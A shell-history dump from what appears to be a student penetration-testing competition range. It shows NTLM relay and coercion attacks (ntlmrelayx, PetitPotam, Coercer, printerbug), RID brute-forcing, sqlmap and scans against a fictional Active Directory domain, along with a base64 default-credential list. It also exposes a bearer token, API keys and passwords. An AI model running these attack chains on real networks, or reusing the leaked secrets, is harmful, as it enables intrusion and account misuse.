  -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCIgOiAiSldUIiwia2lkIiA6ICJJc2FfMU4xU1JwTm5kNy13SHBPWGhvMzRYRHpXMmVvUi1TUHExTEFQV2trIn0.eyJleHAiOjE3Njc5NzMzMjAsImlhdCI6MTc2Nzk3MzAyMCwiYXV0aF90aW1lIjoxNzY3OTcyOTI3LCJqdGkiOiI4NGNhZjM5OC02N2U2LTRjNTktYTY4NC03NTk1MDY4YmNlYTMiLCJpc3MiOiJodHRwOi8vMTAuMC4xLjEzOjgxODAvcmVhbG1zL2dwcyIsInN1YiI6Ijk4MjdiNGUwLTU5YTQtNDM5My05N2NlLTZmZDVmZTQwNTkxNCIsInR5cCI6IkJlYXJlciIsImF6cCI6Imdwcy1hcHAiLCJub25jZSI6ImI1ZmQzODRmLWM0N2ItNGMwMS1iNmNhLTI2ZjE2YTFmOWRmYyIsInNlc3Npb25fc3RhdGUiOiJhNWMyNWFjZi00YjQ2LTQ0OWEtOGZjZi0xZDAzMjM0NjI4MjUiLCJhbGxvd2VkLW9yaWdpbnMiOlsiaHR0cDovLzEwLjAuMS4xMzo4MDgwIiwiaHR0cDovLzEyNy4wLjAuMTo4MDgwIiwiaHR0cDovL2xvY2FsaG9zdDo4MDgwIiwiaHR0cDovL2dwcy5hbGxwb3J0cy50b3Vyczo4MDgwIl0sInJlYWxtX2FjY2VzcyI6eyJyb2xlcyI6WyJjYXB0YWluIiwidXNlciJdfSwic2NvcGUiOiJvcGVuaWQgcHJvZmlsZSBlbWFpbCIsInNpZCI6ImE1YzI1YWNmLTRiNDYtNDQ5YS04ZmNmLTFkMDMyMzQ2MjgyNSIsImVtYWlsX3ZlcmlmaWVkIjp0cnVlLCJuYW1lIjoiU2hpcCBDYXB0YWluIiwicHJlZmVycmVkX3VzZXJuYW1lIjoiY2FwdGFpbiIsImdpdmVuX25hbWUiOiJTaGlwIiwiZmFtaWx5X25hbWUiOiJDYXB0YWluIiwiZW1haWwiOiJjYXB0YWluQGFsbHBvcnRzLmxvY2FsIn0.TmD1PLc2jj1rvWmBaUo-HFpTYJMjdepDfjxLCJinf8aw_hePs_Ch1C5uiI4_dN2GQK_kCidxujjcu9VEsl_7VV4iso3Vt1zM21dOjHMyACM4aHfy0GsMSj96gaYrQPJM-ZdNIQPMv50o539G9kaD684G1Fv2RLZQsD6ykC7sx1lxow-AlTPx2ZCwOhPPDaGN5EGJrarR7dUtwn8igTCdCBI6-OT-z1CEYbRQF_vB_KG2mc5FkpDXvSnPth8qeuge4tiLu8qR-uppvnf0IYlit5l6VNqdSMm4f-2O-m9MfM2oN0pWBLDT2GgSfE4OK6vLO8kRLxeSLMJxRP8ruGareA' \\
  -H 'Connection: keep-alive' \\
  -H 'Priority: u=4'


_raw: : 1767973064:0;ntlmrelayx.py -t smb://deckhand-02.allports.local -smb2support -socks


_raw: : 1767973053:0;sqlmap -u "https://chat.allports.tours/login/" -r req.txt


_raw: : 1767973021:0;nxc smb windows_hosts -u 'Guest' -p '' -M coerce_plus -o M=All L=10.0.254.201


_raw: : 1767973020:0;ntlmrelayx.py -t smb://deckhand-01.allports.local -smb2support -socks


_raw: : 1767973009:8;ntlmrelayx.py -t all://deckhand-01.allports.local -smb2support -socks


_raw: : 1767972973:0;go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest


_raw: : 1767972921:0;nxc smb windows_hosts -u 'Guest' -p '' -M coerce_plus -o M=All L=10.0.254.201


_raw: : 1767972917:0;sudo apt-get uninstall nuclei


_raw:
cat password.txt
curl -fsSL https://claude.ai/install.sh | bash
claude --help
echo 'export ANTHROPIC_BASE_URL="https://ai.cyberrange.rit.edu"' >> ~/.bashrc
cat ~/.bashr
cat ~/.bashrc
nano ~/.bashrc
source ~/.bashrc


_raw: : 1767972893:0;nxc smb windows_hosts -u 'Guest' -p '' -M coerce_plus --options


_raw: : 1767972889:0;nxc smb windows_hosts -u 'Guest' -p '' -M coerce_plus -o


_raw: : 1767972868:0;nxc smb windows_hosts -u 'Guest' -p '' -M coerce_plus -h


_raw: : 1767972821:0;gobuster dir -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt --url http://10.0.1.99:80/


_raw: : 1767972796:0;ntlmrelayx.py -t all://deckhand-01.allports.local -smb2support


_raw: : 1767972790:0;ntlmrelayx.py smb://deckhand-01.allports.local -smb2support


_raw: : 1767972785:0;ntlmrelayx.py all://deckhand-01.allports.local -smb2support


_raw: : 1767972781:0;go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest


_raw: : 1767972775:0;ntlmrelayx.py all://deckhand-01.allports.local -smb2-support


_raw:
nxc
nxc smb 10.0.1.0/24
nxc ldap 10.0.1.0/24
nmap 10.0.1.6 -v
certipy
certipy-ad
certipy-ad find -u '' -p '' -dc-ip 10.0.1.6 -enabled
nxc smb 10.0.1.6 -M coerce_plus -u '' -p ''
nxc smb 10.0.1.202 -u 'user.one' -p 'Password1!' -M remove-mic
nxc smb 10.0.1.6 -u 'user.one' -p 'Password1!' -M remove-mic
petitpotam.py
cd Downloads
ls
python3 PetitPotam.py -u 'user.one' -p 'Password1!' -d 'insecure.local' 10.0.1.6 10.0.254.204
python3 PetitPotam.py -u '' -p '' 10.0.254.204 10.0.1.6
git clone https://github.com/p0dalirius/Coercer.git
cd Coercer
ls
python3 Coercer.py
curl -LsSf https://astral.sh/uv/install.sh | sh
uv
;s
l
ls
uv venv
uv run Coercer.py
uv run Coercer.py coerce
uv run Coercer.py coerce -t 10.0.1.6 -l 10.0.254.204
s
uv run Coercer.py coerce -t 10.0.1.6 -l 10.0.254.204
uv run Coercer.py coerce -t 10.0.1.6 -l 10.0.254.204 --always-continue


_raw:
sudo impacket-ntlmrelayx -smb2support -t ldaps://10.0.1.6 --delegate-access --remove-mic
sudo impacket-ntlmrelayx -smb2support -t ldap://10.0.1.6 --delegate-access --remove-mic


_raw:
nxc smb 10.0.1.0/24 -u '' -p ''
nxc smb 10.0.1.0/24 -u '' -p '' -M coerce_plus
export TARGET=10.0.1.6
rpcdump.py $TARGET | grep -A 6 "spoolsv"
impacket-rpcdump $TARGET | grep -A 6 "spoolsv"
uv run Downloads/printerbug.py
uv run Downloads/printerbug.py ''@10.0.1.6 10.0.254.204


_raw:
git clone https://github.com/nationalcptc-teamtools/Stanford-university.git
ls
cat password.txt


_raw: : 1767972765:0;go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest


_raw: : 1767972746:0;cloud-init clean --machine-id -l -s


_raw: : 1767972746:0;apt install qemu-guest-agent


_raw: : 1767972746:0;apt install python3-pip python3-venv curl htop


_raw: : 1767972746:0;apt install openssh-server


_raw: : 1767972746:0;sudo apt install dphys-swapfile


_raw: : 1767972746:0;apt install systemd-zram-generator zram-tools


_raw:
curl -sSL https://strix.ai/install | bash\
clear
sudo apt update\
sudo apt install ca-certificates curl\
sudo install -m 0755 -d /etc/apt/keyrings\
sudo curl -fsSL https://download.docker.com/linux/ubuntu/gpg -o /etc/apt/keyrings/docker.asc\
sudo chmod a+r /etc/apt/keyrings/docker.asc\
\
# Add the repository to Apt sources:\
sudo tee /etc/apt/sources.list.d/docker.sources <<EOF\
Types: deb\
URIs: https://download.docker.com/linux/ubuntu\
Suites: $(. /etc/os-release && echo "${UBUNTU_CODENAME:-$VERSION_CODENAME}")\
Components: stable\
Signed-By: /etc/apt/keyrings/docker.asc\
EOF\
\
sudo apt update
# Add Docker's official GPG key:\
sudo apt update\
sudo apt install ca-certificates curl\
sudo install -m 0755 -d /etc/apt/keyrings\
sudo curl -fsSL https://download.docker.com/linux/debian/gpg -o /etc/apt/keyrings/docker.asc\
sudo chmod a+r /etc/apt/keyrings/docker.asc\
\
# Add the repository to Apt sources:\
sudo tee /etc/apt/sources.list.d/docker.sources <<EOF\
Types: deb\
URIs: https://download.docker.com/linux/debian\
Suites: $(. /etc/os-release && echo "$VERSION_CODENAME")\
Components: stable\
Signed-By: /etc/apt/keyrings/docker.asc\
EOF\
\
sudo apt update
clear
ping 1.1.1.1
clear
vim docker.sh
chmod +x docker.sh
clear
./docker.sh
clear
rm docker.sh
clear
ping 1.1.1.1
clear
	vim /etc/apt/sources.list
printf "%s\n" "deb [arch=amd64] https://download.docker.com/linux/debian buster stable" |\\
sudo tee /etc/apt/sources.list.d/docker-ce.list
	vim /etc/apt/sources.list
sudo su
ls
clear
sudo apt update
hostname
vim /etc/hosts
clear
sudo apt install docker.io\
sudo apt install docker.io
sudo apt install docker
sudo apt install -y docker.io
clear
ls
clear
ls
exit


_raw: : 1767972701:0;go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest


_raw: : 1767972694:0;[200~go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest


_raw: : 1767972690:0;[200~go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest~


_raw: : 1767972652:0;sudo apt install seclists


_raw: : 1767972599:0;gobuster dir -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt --url http://10.0.1.13:8090/


_raw: : 1767972595:0;gobuster dir -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt --url http://10.0.1.11:8090/


_raw:
cd participant_env/verbose-log/logs
ll
exit


_raw: : 1767972544:0;cloud-init clean --machine-id -l -s


_raw: : 1767972544:0;apt install qemu-guest-agent


_raw: : 1767972544:0;apt install python3-pip python3-venv curl htop


_raw: : 1767972544:0;apt install openssh-server


_raw: : 1767972544:0;sudo apt install dphys-swapfile


_raw: : 1767972544:0;apt install systemd-zram-generator zram-tools


_raw: : 1767972498:0;termshot -scf out.png -- "nxc ldap apt-dc-01.allports.local -u default_cred_users_test -p 'Sails@way!'"


_raw: : 1767972486:0;sudo apt-get update nuclei


_raw:
ll
cd participant_env/verbose-log/logs
ll
exit


_raw: : 1767972472:0;nxc ldap apt-dc-01.allports.local -u default_cred_users_test -p 'Sails@way!'


_raw: : 1767972471:0;sudo apt install docker.io


_raw: : 1767972455:0;cloud-init clean --machine-id -l -s


_raw: : 1767972455:0;apt install qemu-guest-agent


_raw: : 1767972455:0;apt install python3-pip python3-venv curl htop


_raw: : 1767972455:0;apt install openssh-server


_raw: : 1767972455:0;sudo apt install dphys-swapfile


_raw: : 1767972455:0;apt install systemd-zram-generator zram-tools


_raw: : 1767972437:0;curl -fsSL https://download.docker.com/linux/debian/gpg | sudo apt-key add -\


_raw:
cd enum4ad
ls
cd modules
ls
vim port_scanner.py
cd ..
python3 main.py -ps 10.0.1.0/24 -o ~/cptc
cd modules
vim port_scanner.py
clear
python3 main.py -ps 10.0.1.0/24 -o ~/cptc
cd ..
python3 main.py -ps 10.0.1.0/24 -o ~/cptc


_raw: : 1767972427:0;git clone https://github.com/nationalcptc-teamtools/Cal-Poly-Pomona.git


_raw:
: 1767972427:0;sudo apt update\
sudo apt install docker-ce


_raw:
cd ad_enum_results_20260109_101904
ls
cd nmap
ls
cd 10.0.1.0_24
ls
cat nmap_10.0.1.13.txt
clear
ls
cat nmap_10.0.1.13.txt
cd ..
ls
mv 10.0.1.0_24 nmap_full


_raw:
cd participant_env/verbose-log/logs
ll
exit


_raw:
curl --proto '=https' --tlsv1.2 -LsSf https://setup.atuin.sh | sh
atuin
atuin register
source $HOME/.atuin/bin/env
atuin
sudo apt install tmux -y
tmux new -s thomas


_raw: : 1767972383:0;rusthound-ce -d allports.local -f apt-dc-01.allports.local -i 10.0.1.6 -u Guest -p '' -n 10.0.1.6 -z -c All


_raw: : 1767972381:0;curl -fsSL https://download.docker.com/linux/debian/gpg | sudo apt-key add -\


_raw:
tmux
cd Stanford-University/logging/participant_env
./setup.sh
cd
vi .bashrc
tmux
tmux attach -t 0
tmux


_raw:
claude --version
sudo vim .zshrc
claude --version
exit


_raw: : 1767972325:0;sudo sh -c 'tail -n3 hosts >> /etc/hosts'


_raw: : 1767972311:0;cloud-init clean --machine-id -l -s


_raw: : 1767972311:0;apt install qemu-guest-agent


_raw: : 1767972311:0;apt install python3-pip python3-venv curl htop


_raw: : 1767972311:0;apt install openssh-server


_raw: : 1767972311:0;sudo apt install dphys-swapfile


_raw: : 1767972311:0;apt install systemd-zram-generator zram-tools


_raw: : 1767972300:0;nxc smb windows_hosts -u 'Guest' -p '' --generate-hosts-file hosts


_raw:
curl -fsSL https://claude.ai/install.sh | bash\
echo 'export ANTHROPIC_BASE_URL="https://ai.cyberrange.rit.edu"' >> ~/.zshrc\
bash
echo 'export ANTHROPIC_BASE_URL="https://ai.cyberrange.rit.edu"' >> ~/.bashrc
echo 'export ANTHROPIC_BASE_URL="https://ai.cyberrange.rit.edu"' >> ~/.zshrc
echo 'export ANTHROPIC_AUTH_TOKEN="sk-cptc-team2-key5-d95d9078-2573-482d-8915-da39382ad3f5"' >> ~/.zshrc
source .zshrc
ls
zsh


_raw: : 1767972229:0;nxc smb windows_hosts -u 'DefaultAccount' -p ''


_raw: : 1767972209:0;nxc smb windows_hosts -u '' -p '' --rid-brute


_raw: : 1767972196:0;nxc smb windows_hosts -u 'Guest' -p '' --rid-brute


_raw:
curl -fsSL https://claude.ai/install.sh | bash\
nano ~/.bashrc
claude-code --version
claude
claude --version
source ~/.bashrc
ls
clear
ls


_raw: : 1767972181:0;tail -n2 windows_hosts > workstations


_raw:
: 1767972166:0;echo "root:cm9vdA==\
Root:Um9vdA==\
administrator:YWRtaW5pc3RyYXRvcg==\
Administrator:QWRtaW5pc3RyYXRvcg==\
privileged:cHJpdmlsZWdlZA==\
Privileged:UHJpdmlsZWdlZA==\
superuser:c3VwZXJ1c2Vy\
Superuser:U3VwZXJ1c2Vy\
SuperUser:U3VwZXJVc2Vy\
megauser:bWVnYXVzZXI=\
Megauser:TWVnYXVzZXI=\
MegaUser:TWVnYXNlcg==\
hyperuser:aHlwZXJ1c2Vy\
Hyperuser:SHlwZXJ1c2Vy\
HyperUser:SHlwZXJVc2Vy\
manager:bWFuYWdlcg==\
Manager:TWFuYWdlcg==\
guest:Z3Vlc3Q=\
Guest:dWVzdA==\
rootuser:cm9vdHVzZXI=\
Rootuser:Um9vdHVzZXI=\
RootUser:Um9vdFVzZXI=\
adminuser:YWRtaW51c2Vy\
Adminuser:QWRtaW51c2Vy\
AdminUser:QWRtaW5Vc2Vy\
adm:YWRtCg==\
Adm:QWRt\
user:dXNlcg==\
User:VXNlcg==\
info:aW5mbw==\
Info:SVVuZm8=\
test:dGVzdA==\
Test:VGVzdA==\
mysql:bXlzcWw=\
Mysql:TXlzcWw=\
MySQL:TXlTUUw=\
oracle:b3JhY2xl\
Oracle:T3JhY2xl\
ftp:ZnRw\
Ftp:RnRw\
FTP:RlRQ\
pi:cGk=\
Pi:UGk=\
PI:UEk=\
puppet:cHVwcGV0\
Puppet:UHVwcGV0\
ansible:YW5zaWJsZQ==\
Ansible:QW5zaWJsZQ==\
ec2-user:ZWMyLXVzZXI=\
vagrant:dmFncmFudA==\
Vagrant:YWdyYW50\
azure:YXp1cmU=\
Azure:QXp1cmU=\
azureuser:YXp1cmV1c2Vy\
Azureuser:enVyZXVzZXI=\
AzureUser:QXp1cmVVc2Vy\
adminusr:YWRtaW51c3I=\
Um9vdDpSb290\
YWRtaW5pc3RyYXRvcjphZG1pbmlzdHJhdG9y\
QWRtaW5pc3RyYXRvcjpBZG1pbmlzdHJhdG9y\
cHJpdmlsZWdlZDpwcml2aWxlZ2Vk\
UHJpdmlsZWdlZDpQcml2aWxlZ2Vk\
c3VwZXJ1c2VyOnN1cGVydXNlcg==\
U3VwZXJ1c2VyOlN1cGVydXNlcg==\
U3VwZXJVc2VyOlN1cGVyVXNlcg==\
bWVnYXVzZXI6bWVnYXVzZXI=\
TWVnYXVzZXI6TWVnYXVzZXI=\
TWVnYVVzZXI6TWVnYVVzZXI=\
aHlwZXJ1c2VyOmh5cGVydXNlcg==\
SHlwZXJ1c2VyOkh5cGVydXNlcg==\
SHlwZXJVc2VyOkh5cGVyVXNlcg==\
bWFuYWdlcjptYW5hZ2Vy\
TWFuYWdlcjpNYW5hZ2Vy\
Z3Vlc3Q6Z3Vlc3Q=\
R3Vlc3Q6R3Vlc3Q=\
cm9vdHVzZXI6cm9vdHVzZXI=\
Um9vdHVzZXI6Um9vdHVzZXI=\
Um9vdFVzZXI6Um9vdFVzZXI=\
YWRtaW51c2VyOmFkbWludXNlcg==\
QWRtaW51c2VyOkFkbWludXNlcg==\
QWRtaW5Vc2VyOkFkbWluVXNlcg==\
YWRtOmFkbQ==\
QWRtOkFkbQ==\
dXNlcjp1c2Vy\
VXNlcjpVc2Vy\
aW5mbzppbmZv\
SW5mbzpJbmZv\
dGVzdDp0ZXN0\
VGVzdDpUZXN0\
bXlzcWw6bXlzcWw=\
TXlzcWw6TXlzcWw=\
TXlTUUw6TXlTUUw=\
b3JhY2xlOm9yYWNsZQ==\
T3JhY2xlOk9yYWNsZQ==\
ZnRwOmZ0cA==\
RnRwOkZ0cA==\
RlRQOkZUUA==\
cGk6cGk=\
UGk6UGk=\
UEk6UEk=\
cHVwcGV0OnB1cHBldA==\
UHVwcGV0OlB1cHBldA==\
YW5zaWJsZTphbnNpYmxl\
QW5zaWJsZTpBbnNpYmxl\
ZWMyLXVzZXI6ZWMyLXVzZXI=\
dmFncmFudDp2YWdyYW50\
VmFncmFudDpWYWdyYW50\
YXp1cmU6YXp1cmU=\
QXp1cmU6QXp1cmU=\
YXp1cmV1c2VyOmF6dXJldXNlcg==\
QXp1cmV1c2VyOkF6dXJldXNlcg==\
QXp1cmVVc2VyOkF6dXJlVXNlcg==\
YWRtaW51c3I6YWRtaW51c3I=" | base64 -d


_raw:
docker
sudo apt install docker.io
sudo systemctl enable docker --now
docker
sudo usermod -aG docker $USER


_raw:
: 1767972164:0;echo "root:cm9vdA==\
Root:Um9vdA==\
administrator:YWRtaW5pc3RyYXRvcg==\
Administrator:QWRtaW5pc3RyYXRvcg==\
privileged:cHJpdmlsZWdlZA==\
Privileged:UHJpdmlsZWdlZA==\
superuser:c3VwZXJ1c2Vy\
Superuser:U3VwZXJ1c2Vy\
SuperUser:U3VwZXJVc2Vy\
megauser:bWVnYXVzZXI=\
Megauser:TWVnYXVzZXI=\
MegaUser:TWVnYXNlcg==\
hyperuser:aHlwZXJ1c2Vy\
Hyperuser:SHlwZXJ1c2Vy\
HyperUser:SHlwZXJVc2Vy\
manager:bWFuYWdlcg==\
Manager:TWFuYWdlcg==\
guest:Z3Vlc3Q=\
Guest:dWVzdA==\
rootuser:cm9vdHVzZXI=\
Rootuser:Um9vdHVzZXI=\
RootUser:Um9vdFVzZXI=\
adminuser:YWRtaW51c2Vy\
Adminuser:QWRtaW51c2Vy\
AdminUser:QWRtaW5Vc2Vy\
adm:YWRtCg==\
Adm:QWRt\
user:dXNlcg==\
User:VXNlcg==\
info:aW5mbw==\
Info:SVVuZm8=\
test:dGVzdA==\
Test:VGVzdA==\
mysql:bXlzcWw=\
Mysql:TXlzcWw=\
MySQL:TXlTUUw=\
oracle:b3JhY2xl\
Oracle:T3JhY2xl\
ftp:ZnRw\
Ftp:RnRw\
FTP:RlRQ\
pi:cGk=\
Pi:UGk=\
PI:UEk=\
puppet:cHVwcGV0\
Puppet:UHVwcGV0\
ansible:YW5zaWJsZQ==\
Ansible:QW5zaWJsZQ==\
ec2-user:ZWMyLXVzZXI=\
vagrant:dmFncmFudA==\
Vagrant:YWdyYW50\
azure:YXp1cmU=\
Azure:QXp1cmU=\
azureuser:YXp1cmV1c2Vy\
Azureuser:enVyZXVzZXI=\
AzureUser:QXp1cmVVc2Vy\
adminusr:YWRtaW51c3I=\
Um9vdDpSb290\
YWRtaW5pc3RyYXRvcjphZG1pbmlzdHJhdG9y\
QWRtaW5pc3RyYXRvcjpBZG1pbmlzdHJhdG9y\
cHJpdmlsZWdlZDpwcml2aWxlZ2Vk\
UHJpdmlsZWdlZDpQcml2aWxlZ2Vk\
c3VwZXJ1c2VyOnN1cGVydXNlcg==\
U3VwZXJ1c2VyOlN1cGVydXNlcg==\
U3VwZXJVc2VyOlN1cGVyVXNlcg==\
bWVnYXVzZXI6bWVnYXVzZXI=\
TWVnYXVzZXI6TWVnYXVzZXI=\
TWVnYVVzZXI6TWVnYVVzZXI=\
aHlwZXJ1c2VyOmh5cGVydXNlcg==\
SHlwZXJ1c2VyOkh5cGVydXNlcg==\
SHlwZXJVc2VyOkh5cGVyVXNlcg==\
bWFuYWdlcjptYW5hZ2Vy\
TWFuYWdlcjpNYW5hZ2Vy\
Z3Vlc3Q6Z3Vlc3Q=\
R3Vlc3Q6R3Vlc3Q=\
cm9vdHVzZXI6cm9vdHVzZXI=\
Um9vdHVzZXI6Um9vdHVzZXI=\
Um9vdFVzZXI6Um9vdFVzZXI=\
YWRtaW51c2VyOmFkbWludXNlcg==\
QWRtaW51c2VyOkFkbWludXNlcg==\
QWRtaW5Vc2VyOkFkbWluVXNlcg==\
YWRtOmFkbQ==\
QWRtOkFkbQ==\
dXNlcjp1c2Vy\
VXNlcjpVc2Vy\
aW5mbzppbmZv\
SW5mbzpJbmZv\
dGVzdDp0ZXN0\
VGVzdDpUZXN0\
bXlzcWw6bXlzcWw=\
TXlzcWw6TXlzcWw=\
TXlTUUw6TXlTUUw=\
b3JhY2xlOm9yYWNsZQ==\
T3JhY2xlOk9yYWNsZQ==\
ZnRwOmZ0cA==\
RnRwOkZ0cA==\
RlRQOkZUUA==\
cGk6cGk=\
UGk6UGk=\
UEk6UEk=\
cHVwcGV0OnB1cHBldA==\
UHVwcGV0OlB1cHBldA==\
YW5zaWJsZTphbnNpYmxl\
QW5zaWJsZTpBbnNpYmxl\
ZWMyLXVzZXI6ZWMyLXVzZXI=\
dmFncmFudDp2YWdyYW50\
VmFncmFudDpWYWdyYW50\
YXp1cmU6YXp1cmU=\
QXp1cmU6QXp1cmU=\
YXp1cmV1c2VyOmF6dXJldXNlcg==\
QXp1cmV1c2VyOkF6dXJldXNlcg==\
QXp1cmVVc2VyOkF6dXJlVXNlcg==\
YWRtaW51c3I6YWRtaW51c3I=" | base64 0d


_raw:
: 1767972159:0;echo "root:cm9vdA==\
Root:Um9vdA==\
administrator:YWRtaW5pc3RyYXRvcg==\
Administrator:QWRtaW5pc3RyYXRvcg==\
privileged:cHJpdmlsZWdlZA==\
Privileged:UHJpdmlsZWdlZA==\
superuser:c3VwZXJ1c2Vy\
Superuser:U3VwZXJ1c2Vy\
SuperUser:U3VwZXJVc2Vy\
megauser:bWVnYXVzZXI=\
Megauser:TWVnYXVzZXI=\
MegaUser:TWVnYXNlcg==\
hyperuser:aHlwZXJ1c2Vy\
Hyperuser:SHlwZXJ1c2Vy\
HyperUser:SHlwZXJVc2Vy\
manager:bWFuYWdlcg==\
Manager:TWFuYWdlcg==\
guest:Z3Vlc3Q=\
Guest:dWVzdA==\
rootuser:cm9vdHVzZXI=\
Rootuser:Um9vdHVzZXI=\
RootUser:Um9vdFVzZXI=\
adminuser:YWRtaW51c2Vy\
Adminuser:QWRtaW51c2Vy\
AdminUser:QWRtaW5Vc2Vy\
adm:YWRtCg==\
Adm:QWRt\
user:dXNlcg==\
User:VXNlcg==\
info:aW5mbw==\
Info:SVVuZm8=\
test:dGVzdA==\
Test:VGVzdA==\
mysql:bXlzcWw=\
Mysql:TXlzcWw=\
MySQL:TXlTUUw=\
oracle:b3JhY2xl\
Oracle:T3JhY2xl\
ftp:ZnRw\
Ftp:RnRw\
FTP:RlRQ\
pi:cGk=\
Pi:UGk=\
PI:UEk=\
puppet:cHVwcGV0\
Puppet:UHVwcGV0\
ansible:YW5zaWJsZQ==\
Ansible:QW5zaWJsZQ==\
ec2-user:ZWMyLXVzZXI=\
vagrant:dmFncmFudA==\
Vagrant:YWdyYW50\
azure:YXp1cmU=\
Azure:QXp1cmU=\
azureuser:YXp1cmV1c2Vy\
Azureuser:enVyZXVzZXI=\
AzureUser:QXp1cmVVc2Vy\
adminusr:YWRtaW51c3I=\
Um9vdDpSb290\
YWRtaW5pc3RyYXRvcjphZG1pbmlzdHJhdG9y\
QWRtaW5pc3RyYXRvcjpBZG1pbmlzdHJhdG9y\
cHJpdmlsZWdlZDpwcml2aWxlZ2Vk\
UHJpdmlsZWdlZDpQcml2aWxlZ2Vk\
c3VwZXJ1c2VyOnN1cGVydXNlcg==\
U3VwZXJ1c2VyOlN1cGVydXNlcg==\
U3VwZXJVc2VyOlN1cGVyVXNlcg==\
bWVnYXVzZXI6bWVnYXVzZXI=\
TWVnYXVzZXI6TWVnYXVzZXI=\
TWVnYVVzZXI6TWVnYVVzZXI=\
aHlwZXJ1c2VyOmh5cGVydXNlcg==\
SHlwZXJ1c2VyOkh5cGVydXNlcg==\
SHlwZXJVc2VyOkh5cGVyVXNlcg==\
bWFuYWdlcjptYW5hZ2Vy\
TWFuYWdlcjpNYW5hZ2Vy\
Z3Vlc3Q6Z3Vlc3Q=\
R3Vlc3Q6R3Vlc3Q=\
cm9vdHVzZXI6cm9vdHVzZXI=\
Um9vdHVzZXI6Um9vdHVzZXI=\
Um9vdFVzZXI6Um9vdFVzZXI=\
YWRtaW51c2VyOmFkbWludXNlcg==\
QWRtaW51c2VyOkFkbWludXNlcg==\
QWRtaW5Vc2VyOkFkbWluVXNlcg==\
YWRtOmFkbQ==\
QWRtOkFkbQ==\
dXNlcjp1c2Vy\
VXNlcjpVc2Vy\
aW5mbzppbmZv\
SW5mbzpJbmZv\
dGVzdDp0ZXN0\
VGVzdDpUZXN0\
bXlzcWw6bXlzcWw=\
TXlzcWw6TXlzcWw=\
TXlTUUw6TXlTUUw=\
b3JhY2xlOm9yYWNsZQ==\
T3JhY2xlOk9yYWNsZQ==\
ZnRwOmZ0cA==\
RnRwOkZ0cA==\
RlRQOkZUUA==\
cGk6cGk=\
UGk6UGk=\
UEk6UEk=\
cHVwcGV0OnB1cHBldA==\
UHVwcGV0OlB1cHBldA==\
YW5zaWJsZTphbnNpYmxl\
QW5zaWJsZTpBbnNpYmxl\
ZWMyLXVzZXI6ZWMyLXVzZXI=\
dmFncmFudDp2YWdyYW50\
VmFncmFudDpWYWdyYW50\
YXp1cmU6YXp1cmU=\
QXp1cmU6QXp1cmU=\
YXp1cmV1c2VyOmF6dXJldXNlcg==\
QXp1cmV1c2VyOkF6dXJldXNlcg==\
QXp1cmVVc2VyOkF6dXJlVXNlcg==\
YWRtaW51c3I6YWRtaW51c3I="


_raw: : 1767972155:0;nxc ldap apt-dc-01.allports.local -u Guest -p ''


_raw:
claude
claude --version
claude
echo 'export ANTHROPIC_AUTH_TOKEN="sk-cptc-team9-key2-8cca35fd-980b-436d-801d-b24f8daff878"' >> ~/.bashrc
echo 'export ANTHROPIC_BASE_URL="https://ai.cyberrange.rit.edu"' >> ~/.bashrc
exit


_raw: : 1767972144:0;nxc ldap apt-dc-01.allports.local


_raw: : 1767972131:0;nxc ldap apt-dc-01.apt.local


_raw: : 1767972104:0;mysql -p -h 10.0.1.13 -u guest  --skip-ssl-verify-server-cert


_raw: : 1767972095:0;nmap -sV -sC -A -p- -iL ips1 -o nmap-full


_raw: : 1767972091:0;nmap -sV -sC -A -p- -iL ips1 -o nmap full


_raw: : 1767972090:0;mysql -p guest -h 10.0.1.13  --skip-ssl-verify-server-cert


_raw:
ls
cd Web_Weasel/
ls
ls -al
cldar
clear
cd ..
rm -r Web_Weasel
git clone https://github.com/tiredperson47/Web_Weasel.git
cd Web_Weasel
ls
./deploy.sh
sudo -l
cat ~/password.txt
clear
./deploy.sh
ls
./cleanup.sh
clear
sudo docker ps
sudo docker ps -a
clear
./cleanup.sh
clear


_raw:
sudo apt update
sudo apt upgrade
curl -fsSL https://claude.ai/install.sh | bash
claude --help
dirb 10.0.1.99
dirb http://10.0.1.99/
dirbuster http://10.0.1.99/
claude --help
claude
vim .bashrc
vim .zshrc


_raw:
ss -plunt
nmap 10.0.1.13
nmap 10.0.1.20
nmap 10.0.1.21
nmap 10.0.1.30
nmap 10.0.1.13
nmap 10.0.1.14
nmap 10.0.1.0/24 -p 27017
nmap 10.0.1.15 -p 27017
nmap 10.0.1.14 -p 27017
nc 10.0.1.14 27017
nc 10.0.1.14 27017 -v
nmap 10.0.1.0/24 -p 8096
git clone https://github.com/jellyfin/jellyfin-plugin-template
cd jellyfin-plugin-template
ls
nano Jellyfin.Plugin.Template/Plugin.cs
nano build.yaml
curl -fsSL https://claude.ai/install.sh | bash
claude
export ANTHROPIC_BASE_URL="https://ai.cyberrange.rit.edu/"
export ANTHROPIC_API_KEY=sk-cptc-team6-key6-1b70ef37-03b2-433f-baa4-006fd3aae800
claude
nano ~/.claude/settings.json
claude
export ANTHROPIC_API_KEY=sk-cptc-team6-key6-1b70ef37-03b2-433f-baa4-006fd3aae800
export ANTHROPIC_BASE_URL="https://ai.cyberrange.rit.edu/"
claude
claude --help
claude
nmap 10.0.1.14
nmap 10.0.1.14 5001
nc 10.0.1.14 5001
nc 10.0.1.14 5001 -v
nmap 10.0.1.11 5001
nmap 10.0.1.11 5001 -p-
mongosh
nmap 10.0.1.11 5001 -p-
nmap 10.0.1.11 5001 -p-  -A
claude
echo 'export ANTHROPIC_BASE_URL="https://ai.cyberrange.rit.edu"' >> ~/.bashrc\
echo 'export ANTHROPIC_AUTH_TOKEN="sk-cptc-team6-key6-1b70ef37-03b2-433f-baa4-006fd3aae800"' >> ~/.bashrc\
source ~/.bashrc\
\
\
\
exit


_raw: : 1767971962:0;git clone https://github.com/nationalcptc-teamtools/Stanford-University


_raw: : 1767971955:0;git clone https://github.com/nationalcptc-teamtools/Stanford-University


_raw: : 1767971944:0;git clone https://github.com/nationalcptc-teamtools/Stanford-University


_raw:
curl -fsSL https://claude.ai/install.sh | bash
